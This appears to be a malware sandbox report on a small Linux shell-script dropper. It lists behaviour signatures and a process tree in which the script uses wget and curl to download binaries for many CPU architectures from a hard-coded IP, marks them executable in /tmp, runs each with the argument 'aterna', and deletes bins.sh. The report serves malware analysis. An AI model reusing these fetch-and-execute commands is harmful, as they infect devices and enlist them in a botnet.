Analysis

  • max time kernel
    64s
  • max time network
    66s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/07/2026, 17:56

General

  • Target
    _5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
  • Size 402B
  • Sample260709-wjer1se17q
  • SHA256 5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
    /tmp/_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /usr/bin/wget
      wget http://156.226.174.98/release/arm -O /tmp/arm
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/curl
      curl -s -o /tmp/arm http://156.226.174.98/release/arm
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:668
    • /bin/chmod
      chmod +x /tmp/arm
      2⤵
      • File and Directory Permissions Modification
      PID:678
    • /usr/bin/wget
      wget http://156.226.174.98/release/arm5 -O /tmp/arm5
      2⤵
      • Writes file to tmp directory
      PID:680
    • /tmp/arm
      /tmp/arm aterna
      2⤵
        PID:679
      • /bin/sh
        /bin/sh /tmp/arm aterna
        2⤵
          PID:679
        • /usr/bin/curl
          curl -s -o /tmp/arm5 http://156.226.174.98/release/arm5
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          PID:756
        • /bin/chmod
          chmod +x /tmp/arm5
          2⤵
          • File and Directory Permissions Modification
          PID:757
        • /usr/bin/wget
          wget http://156.226.174.98/release/arm6 -O /tmp/arm6
          2⤵
          • Writes file to tmp directory
          PID:759
        • /tmp/arm5
          /tmp/arm5 aterna
          2⤵
            PID:758
          • /bin/sh
            /bin/sh /tmp/arm5 aterna
            2⤵
              PID:758
            • /usr/bin/curl
              curl -s -o /tmp/arm6 http://156.226.174.98/release/arm6
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:765
            • /bin/chmod
              chmod +x /tmp/arm6
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /usr/bin/wget
              wget http://156.226.174.98/release/arm7 -O /tmp/arm7
              2⤵
              • Writes file to tmp directory
              PID:768
            • /tmp/arm6
              /tmp/arm6 aterna
              2⤵
                PID:767
              • /bin/sh
                /bin/sh /tmp/arm6 aterna
                2⤵
                  PID:767
                • /usr/bin/curl
                  curl -s -o /tmp/arm7 http://156.226.174.98/release/arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:769
                • /bin/chmod
                  chmod +x /tmp/arm7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:770
                • /usr/bin/wget
                  wget http://156.226.174.98/release/x86 -O /tmp/x86
                  2⤵
                  • Writes file to tmp directory
                  PID:772
                • /tmp/arm7
                  /tmp/arm7 aterna
                  2⤵
                    PID:771
                  • /bin/sh
                    /bin/sh /tmp/arm7 aterna
                    2⤵
                      PID:771
                    • /usr/bin/curl
                      curl -s -o /tmp/x86 http://156.226.174.98/release/x86
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:773
                    • /bin/chmod
                      chmod +x /tmp/x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:774
                    • /usr/bin/wget
                      wget http://156.226.174.98/release/x86_32 -O /tmp/x86_32
                      2⤵
                      • Writes file to tmp directory
                      PID:776
                    • /tmp/x86
                      /tmp/x86 aterna
                      2⤵
                        PID:775
                      • /bin/sh
                        /bin/sh /tmp/x86 aterna
                        2⤵
                          PID:775
                        • /usr/bin/curl
                          curl -s -o /tmp/x86_32 http://156.226.174.98/release/x86_32
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:777
                        • /bin/chmod
                          chmod +x /tmp/x86_32
                          2⤵
                          • File and Directory Permissions Modification
                          PID:778
                        • /usr/bin/wget
                          wget http://156.226.174.98/release/m68k -O /tmp/m68k
                          2⤵
                          • Writes file to tmp directory
                          PID:780
                        • /tmp/x86_32
                          /tmp/x86_32 aterna
                          2⤵
                            PID:779
                          • /bin/sh
                            /bin/sh /tmp/x86_32 aterna
                            2⤵
                              PID:779
                            • /usr/bin/curl
                              curl -s -o /tmp/m68k http://156.226.174.98/release/m68k
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:781
                            • /bin/chmod
                              chmod +x /tmp/m68k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:782
                            • /usr/bin/wget
                              wget http://156.226.174.98/release/mips -O /tmp/mips
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:784
                            • /tmp/m68k
                              /tmp/m68k aterna
                              2⤵
                                PID:783
                              • /bin/sh
                                /bin/sh /tmp/m68k aterna
                                2⤵
                                  PID:783
                                • /usr/bin/curl
                                  curl -s -o /tmp/mips http://156.226.174.98/release/mips
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:785
                                • /bin/chmod
                                  chmod +x /tmp/mips
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:786
                                • /usr/bin/wget
                                  wget http://156.226.174.98/release/mpsl -O /tmp/mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:788
                                • /tmp/mips
                                  /tmp/mips aterna
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:787
                                • /bin/sh
                                  /bin/sh /tmp/mips aterna
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:787
                                • /usr/bin/curl
                                  curl -s -o /tmp/mpsl http://156.226.174.98/release/mpsl
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  PID:794
                                • /bin/chmod
                                  chmod +x /tmp/mpsl
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:795
                                • /usr/bin/wget
                                  wget http://156.226.174.98/release/ppc -O /tmp/ppc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:797
                                • /tmp/mpsl
                                  /tmp/mpsl aterna
                                  2⤵
                                    PID:796
                                  • /bin/sh
                                    /bin/sh /tmp/mpsl aterna
                                    2⤵
                                      PID:796
                                    • /usr/bin/curl
                                      curl -s -o /tmp/ppc http://156.226.174.98/release/ppc
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:799
                                    • /bin/chmod
                                      chmod +x /tmp/ppc
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:802
                                    • /usr/bin/wget
                                      wget http://156.226.174.98/release/ppc440 -O /tmp/ppc440
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:804
                                    • /tmp/ppc
                                      /tmp/ppc aterna
                                      2⤵
                                        PID:803
                                      • /bin/sh
                                        /bin/sh /tmp/ppc aterna
                                        2⤵
                                          PID:803
                                        • /usr/bin/curl
                                          curl -s -o /tmp/ppc440 http://156.226.174.98/release/ppc440
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:806
                                        • /bin/chmod
                                          chmod +x /tmp/ppc440
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:807
                                        • /usr/bin/wget
                                          wget http://156.226.174.98/release/sh4 -O /tmp/sh4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:809
                                        • /tmp/ppc440
                                          /tmp/ppc440 aterna
                                          2⤵
                                            PID:808
                                          • /bin/sh
                                            /bin/sh /tmp/ppc440 aterna
                                            2⤵
                                              PID:808
                                            • /usr/bin/curl
                                              curl -s -o /tmp/sh4 http://156.226.174.98/release/sh4
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:810
                                            • /bin/chmod
                                              chmod +x /tmp/sh4
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:811
                                            • /usr/bin/wget
                                              wget http://156.226.174.98/release/sparc -O /tmp/sparc
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:813
                                            • /tmp/sh4
                                              /tmp/sh4 aterna
                                              2⤵
                                                PID:812
                                              • /bin/sh
                                                /bin/sh /tmp/sh4 aterna
                                                2⤵
                                                  PID:812
                                                • /usr/bin/curl
                                                  curl -s -o /tmp/sparc http://156.226.174.98/release/sparc
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:814
                                                • /bin/chmod
                                                  chmod +x /tmp/sparc
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:815
                                                • /usr/bin/wget
                                                  wget http://156.226.174.98/release/x86_64 -O /tmp/x86_64
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:817
                                                • /tmp/sparc
                                                  /tmp/sparc aterna
                                                  2⤵
                                                    PID:816
                                                  • /bin/sh
                                                    /bin/sh /tmp/sparc aterna
                                                    2⤵
                                                      PID:816
                                                    • /usr/bin/curl
                                                      curl -s -o /tmp/x86_64 http://156.226.174.98/release/x86_64
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:820
                                                    • /bin/chmod
                                                      chmod +x /tmp/x86_64
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:821
                                                    • /bin/rm
                                                      rm -f /tmp/bins.sh
                                                      2⤵
                                                        PID:823
                                                      • /tmp/x86_64
                                                        /tmp/x86_64 aterna
                                                        2⤵
                                                          PID:822
                                                        • /bin/sh
                                                          /bin/sh /tmp/x86_64 aterna
                                                          2⤵
                                                            PID:822

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Replay Monitor

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                                                              Downloads

                                                              arm

                                                              • Path /tmp/arm
                                                              • Size 19B
                                                              • SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
                                                              • MD5 SHA1 SHA512